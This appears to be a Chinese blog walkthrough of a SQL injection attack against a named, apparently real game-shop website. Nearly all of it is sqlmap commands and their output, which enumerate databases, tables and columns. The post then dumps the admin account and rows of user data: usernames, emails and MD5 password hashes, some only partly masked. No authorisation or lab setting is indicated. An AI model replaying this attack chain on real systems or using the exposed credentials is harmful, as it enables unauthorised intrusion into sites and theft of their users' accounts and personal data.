• 某网SQL注入漏洞实战


     

    root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --dbs

     

    available databases [8]:
    [*] dntg
    [*] dntg2
    [*] dnweb
    [*] information_schema
    [*] mysql
    [*] performance_schema
    [*] test
    [*] ultrax

     
     

    root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --current-db
    #当前数据库

     

    current database:    'dnweb'

     

    root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --current-user
    #当前数据库用户
    current user:    'root@localhost'

     

    root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --table -D "dnweb"
    #列数据库表名

     

    Database: dnweb
    [25 tables]
    +-----------------+
    | account         |
    | admin_user      |
    | base            |
    | chajian         |
    | chongzhi        |
    | duihuan         |
    | libao_jilu      |
    | libao_list      |
    | meirilibao      |
    | meirilibao_jilu |
    | mianfei         |
    | mianfei_list    |
    | money_name      |
    | role_dellist    |
    | roleid          |
    | server          |
    | shop_list       |
    | shop_list_copy  |
    | shop_tag        |
    | tuiguang        |
    | xiaofei         |
    | zhuce           |
    | zkfcn           |
    | zkfcq           |
    | zkfwp           |
    +-----------------+

     
     

    root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --columns -T "admin_user"
    #列名

     

    Database: dnweb
    Table: admin_user
    [2 columns]
    +------------+-------------+
    | Column     | Type        |
    +------------+-------------+
    | admin_name | varchar(20) |
    | admin_pass | varchar(32) |
    +------------+-------------+

     
     

    root@kali:~# sqlmap -u http://dn.you.com/shop.php?id=10 -v 1 --dump -C "admin_name,admin_pass " -T "admin_user" -D "dnweb"
    #列数据

     

    Database: dnweb
    Table: admin_user
    [1 entry]
    +------------+----------------------------------+
    | admin_name | admin_pass                       |
    +------------+----------------------------------+
    | lok**      | a9ee8d24806ee22c2daad334****** |
    +------------+----------------------------------+

     
     
     

    Database: dnweb
    Table: account
    [20 columns]
    +------------+--------------+
    | Column     | Type         |
    +------------+--------------+
    | createtime | datetime     |
    | dlts       | int(11)      |
    | email      | varchar(255) |
    | gold       | int(10)      |
    | id         | int(10)      |
    | jifen      | int(10)      |
    | lastip     | varchar(16)  |
    | logintime  | datetime     |
    | lxdl       | int(11)      |
    | money      | int(10)      |
    | money2     | int(10)      |
    | name       | varchar(32)  |
    | namemd5id  | varchar(32)  |
    | password   | varchar(32)  |
    | regip      | varchar(16)  |
    | security   | varchar(32)  |
    | tg         | int(10)      |
    | tg2        | int(10)      |
    | tingyong   | int(11)      |
    | vip        | int(255)     |
    +------------+--------------+

     
     
     

    +-------+------------+-------------+----------------------------------+----------+
    | id    | email      | name        | password                         | security |
    +-------+------------+-------------+----------------------------------+----------+
    | 11827 | 13350*     | a414409798  | cee4fce6eaa87581421c296cbc0d3064 | NULL     |
    | 11828 | 000000     | lo***       | 670b14728ad9902aecba32e22fa4f6bd** | NULL     |
    | 11829 | 8888*       | q139818572* | 4607e782c4d86fd5364d7e4508bb10d9 | NULL     |
    | 11830 | 123456     | 203412594*  | cfd40caa535bb51378ab60849bb54486 | NULL     |
    | 11831 | 123456789  | na101*      | e10adc3949ba59abbe56e057f20f883e | NULL     |
    | 11832 | NULL       | hyt100*     | 4c49c824492864666980b012bcf17d08 | NULL     |
    | 11833 | 32312*     | hehe52121*  | 0733f98f76375074a3424d5b6e8ffd68 | NULL     |
    | 11834 | 123456789* | fong201*    | 2798ba5d7c1b4f6eec30c9a9cad51dca | NULL     |
    | 11835 | 123456     | q50504*     | e10adc3949ba59abbe56e057f20f883e | NULL     |
    | 11836 | 1*          | wf199*      | 96e79218965eb72c92a549dd5a330112 | NULL     |
    +-------+------------+-------------+----------------------------------+----------+

     
  • 相关阅读:
    Apache服务器的简单配置与安全策略
    Linux下的ICMP反弹后门:PRISM
    项目年度任务失败总结
    SpringBoot下配置Druid
    ftm国际化解决方案
    SpringBoot自动装配源码解析
    log4j到log4j2升级迁移方案
    Linux常用命令记录
    MySQL安装后无法用root用户访问的问题
    html实体命名
  • 原文地址:https://www.cnblogs.com/staffyoung/p/5424421.html
Copyright © 2020-2023  润新知